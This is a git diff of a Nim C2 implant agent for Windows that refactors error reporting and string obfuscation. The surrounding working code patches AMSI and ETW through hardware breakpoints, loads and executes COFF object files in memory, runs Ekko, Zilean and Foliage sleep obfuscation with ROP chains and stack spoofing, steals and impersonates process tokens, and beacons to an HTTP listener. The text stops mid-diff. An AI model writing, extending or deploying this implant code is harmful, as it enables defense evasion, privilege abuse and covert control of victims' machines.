diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim index 2129b0e..274bbfe 100644 --- a/src/agent/core/clr.nim +++ b/src/agent/core/clr.nim @@ -19,14 +19,14 @@ import ../../common/[types, utils] proc amsiPatch(pThreadCtx: PCONTEXT) = # Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN) SETPARAM_6(pThreadCtx, cast[PULONG](0)) - print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN") + print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN" CONTINUE_EXECUTION(pThreadCtx) proc etwPatch(pThreadCtx: PCONTEXT) = pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[] pThreadCtx.Rsp += sizeof(PVOID) pThreadCtx.Rax = STATUS_SUCCESS - print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS") + print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS" CONTINUE_EXECUTION(pThreadCtx) #[ diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index a3ec4e8..2bf1240 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -149,12 +149,12 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID = if hModule == 0: hModule = LoadLibraryA(library) if hModule == 0: - raise newException(CatchableError, fmt"Library {$library} not found.") + raise newException(CatchableError, GetLastError().getError()) # Resolve the function from the loaded library resolved = GetProcAddress(hModule, function) if resolved == NULL: - raise newException(CatchableError, fmt"Function {$function} not found in {$library}.") + raise newException(CatchableError, GetLastError().getError()) print fmt" [>] {$symbol} @ 0x{resolved.repr}" @@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = # Change the memory protection from [RW-] to [R-X] if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) # Execute BOF entry point var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value)) @@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = # Revert the memory protection change if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) return true @@ -332,7 +332,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: var pObject = addr objectFile[0] if pObject == NULL or entryFunction == NULL: - raise newException(CatchableError, "Arguments pObject and entryFunction are required.") + raise newException(CatchableError, protect("Missing required arguments.")) # Parsing the object file's file header, symbol table and sections objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject) @@ -347,10 +347,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: when defined(amd64): if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Only x64 object files are supported") + raise newException(CatchableError, protect("Only x64 object files are supported.")) else: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Only x64 object files are supported") + raise newException(CatchableError, protect("Only x64 object files are supported.")) # Calculate required virtual memory virtSize = objectVirtualSize(addr objCtx) @@ -360,14 +360,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) if virtAddr == NULL: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: VirtualFree(virtAddr, 0, MEM_RELEASE) # Allocate heap memory to store section map array objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP))) if objCtx.secMap == NULL: RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap) print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" @@ -399,7 +399,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: print "[*] Processing sections and performing relocations." if not objectProcessSection(addr objCtx): RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Failed to process sections.") + raise newException(CatchableError, protect("Failed to process sections.")) # Executing the object file print "[*] Executing." diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index b22c7f5..a2dc0e3 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -39,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx = wipeKey(agentKeyPair.privateKey) - print protect("[+] Profile configuration deserialized.") + print "[+] Profile configuration deserialized." return ctx proc init*(T: type AgentCtx): AgentCtx = diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 9b6c336..b0cc889 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - print protect("[-] "), err.msg + echo "[-] ", err.msg finally: client.close() @@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) except CatchableError as err: - print protect("[-] "), err.msg + print "[-] ", err.msg return false finally: diff --git a/src/agent/core/hwbp.nim b/src/agent/core/hwbp.nim index 34cc58f..f22ddc5 100644 --- a/src/agent/core/hwbp.nim +++ b/src/agent/core/hwbp.nim @@ -34,8 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - print protect("[!] GetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) case drx: of Dr0: @@ -60,8 +59,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - print protect("[!] SetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) return true @@ -70,8 +68,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - print protect("[!] GetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) # Remove the address of the hooked function from the thread context case drx: @@ -88,8 +85,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - print protect("[!] SetThreadContext Failed"), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) return true @@ -197,7 +193,7 @@ proc initializeHardwareBPVariables*(): bool = # Add 'VectorHandler' as the VEH g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) if cast[int](g_VectorHandler) == 0: - print protect("[!] AddVectoredExceptionHandler Failed") + raise newException(CatchableError, GetLastError().getError()) return false if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: diff --git a/src/agent/core/io.nim b/src/agent/core/io.nim index 6a4f9d9..ed39fa0 100644 --- a/src/agent/core/io.nim +++ b/src/agent/core/io.nim @@ -1,8 +1,13 @@ +import winim/lean import macros +import strutils, strformat import ../../common/[types, utils] const VERBOSE* {.booldefine.} = false +type + RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.} + # Only print to console when VERBOSE mode is enabled template print*(args: varargs[untyped]): untyped = when defined(VERBOSE) and VERBOSE == true: @@ -12,6 +17,15 @@ template print*(args: varargs[untyped]): untyped = # Convert Windows API error to readable value # https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage +proc getError*(errorCode: DWORD): string = + var msg = newWString(512) + FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL) + msg.nullTerminate() + return strip($msg) & fmt" ({$errorCode})" # Convert NTSTATUS to readable value # https://ntdoc.m417z.com/rtlntstatustodoserror +proc getNtError*(status: NTSTATUS): string = + let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError"))) + let errorCode = pRtlNtStatusToDosError(status) + return getError(errorCode) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 2437241..60dc1b9 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT = # Create snapshot of all available threads hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) if hSnapshot == INVALID_HANDLE_VALUE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: CloseHandle(hSnapshot) if Thread32First(hSnapshot, addr thd32Entry) == FALSE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) while Thread32Next(hSnapshot, addr thd32Entry) != 0: # Check if the thread belongs to the current process but is not the current thread @@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT = print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." return ctx - print protect("[-] No suitable thread for stack duplication found.") + print "[-] No suitable thread for stack duplication found." return ctx #[ @@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b # Create timer queue status = apis.RtlCreateTimerQueue(addr queue) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: discard apis.RtlDeleteTimerQueue(queue) # Create events status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventTimer) status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventStart) status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventEnd) # Retrieve the initial thread context delay += 100 status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming delay += 100 status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait for events to finish before continuing status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) if spoofStack: # Stack duplication @@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b if spoofStack: status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hThread) # Preparing the ROP chain @@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - print protect("[-] "), err.msg + print "[-] ", err.msg #[ @@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var # Create events status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventTimer) status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventWait) status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventStart) status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventEnd) delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait for events to finish before continuing status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) if spoofStack: # Stack duplication @@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var if spoofStack: status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hThread) # Preparing the ROP chain @@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - print protect("[-] "), err.msg + print "[-] ", err.msg #[ @@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = # Start synchronization event status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventSync) # Start suspended thread where the APC calls will be queued and executed status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) print fmt"[*] [{hThread.repr}] Thread created " defer: CloseHandle(hThread) ctxInit.ContextFlags = CONTEXT_FULL status = apis.NtGetContextThread(hThread, addr ctxInit) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtGetContextThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them. # NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread. @@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = for i in 0 .. gadget: status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtQueueApcThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Start sleep obfuscation status = apis.NtAlertResumeThread(hThread, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - print protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - print protect("[-] "), err.msg + print "[-] ", err.msg # Sleep obfuscation implemented in various techniques proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index a26bf2a..c3da1d0 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -1,5 +1,6 @@ import winim/lean import strformat +import ./io import ../../common/[types, utils] #[ @@ -65,7 +66,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE = if status != STATUS_SUCCESS: status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) return hToken @@ -111,7 +112,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) let tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation") @@ -127,16 +128,16 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: - raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength)) if pUser == NULL: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: LocalFree(cast[HLOCAL](pUser)) status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid)) @@ -148,7 +149,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool = status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) return cast[bool](pElevation.TokenIsElevated) @@ -160,16 +161,16 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string = status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength)) if pGroups == NULL: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: LocalFree(cast[HLOCAL](pGroups)) status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) let groupCount = pGroups.GroupCount @@ -187,16 +188,16 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string = status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength)) if pPrivileges == NULL: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: LocalFree(cast[HLOCAL](pPrivileges)) status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) let privCount = pPrivileges.PrivilegeCount @@ -254,7 +255,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) = status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) else: # Use the original token if it is already an impersonation token @@ -263,7 +264,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) = # Impersonate the token in the current thread (ImpersonateLoggedOnUser) status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE))) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: discard apis.NtClose(impersonationToken) @@ -281,7 +282,7 @@ proc rev2self*() = status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE))) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) #[ Create a new access token from a username, password and domain name triplet. @@ -304,7 +305,7 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L var hToken: HANDLE let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: discard apis.NtClose(hToken) apis.impersonate(hToken) @@ -325,7 +326,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string = defer: discard apis.NtClose(hToken) if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError,GetLastError().getError()) # Enable privilege tokenPrivs.PrivilegeCount = 1 @@ -334,7 +335,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string = status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) let action = if enable: protect("Enabled") else: protect("Disabled") return fmt"{action} {apis.privilegeToString(addr luid)}." @@ -365,13 +366,13 @@ proc stealToken*(pid: int): string = # Open a handle to the target process status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: discard apis.NtClose(hProcess) # Open a handle to the primary access token of the target process status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken) if status != STATUS_SUCCESS: - raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: discard apis.NtClose(hToken) apis.impersonate(hToken) diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 0d31fc0..bad6551 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -108,7 +108,7 @@ when defined(agent): # Retrieve current working directory proc executePwd(ctx: AgentCtx, task: Task): TaskResult = - print protect(" [>] Retrieving current working directory.") + print " [>] Retrieving current working directory." try: # Get current working directory using GetCurrentDirectory @@ -117,7 +117,7 @@ when defined(agent): length = GetCurrentDirectoryW(MAX_PATH, &buffer) if length == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) let output = $buffer[0 ..< (int)length] return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) @@ -132,12 +132,12 @@ when defined(agent): # Parse arguments let targetDirectory = Bytes.toString(task.args[0].data) - print protect(" [>] Changing current working directory to {targetDirectory}.") + print " [>] Changing current working directory to {targetDirectory}." try: # Get current working directory using GetCurrentDirectory if SetCurrentDirectoryW(targetDirectory) == FALSE: - raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -160,7 +160,7 @@ when defined(agent): cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) if cwdLength == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] @@ -187,7 +187,7 @@ when defined(agent): hFind = FindFirstFileW(searchPatternW, &findData) if hFind == INVALID_HANDLE_VALUE: - raise newException(OSError, fmt"Failed to list files ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) # Directory was found and can be listed else: @@ -305,7 +305,7 @@ when defined(agent): try: if DeleteFile(target) == FALSE: - raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -323,7 +323,7 @@ when defined(agent): try: if RemoveDirectoryA(target) == FALSE: - raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -342,7 +342,7 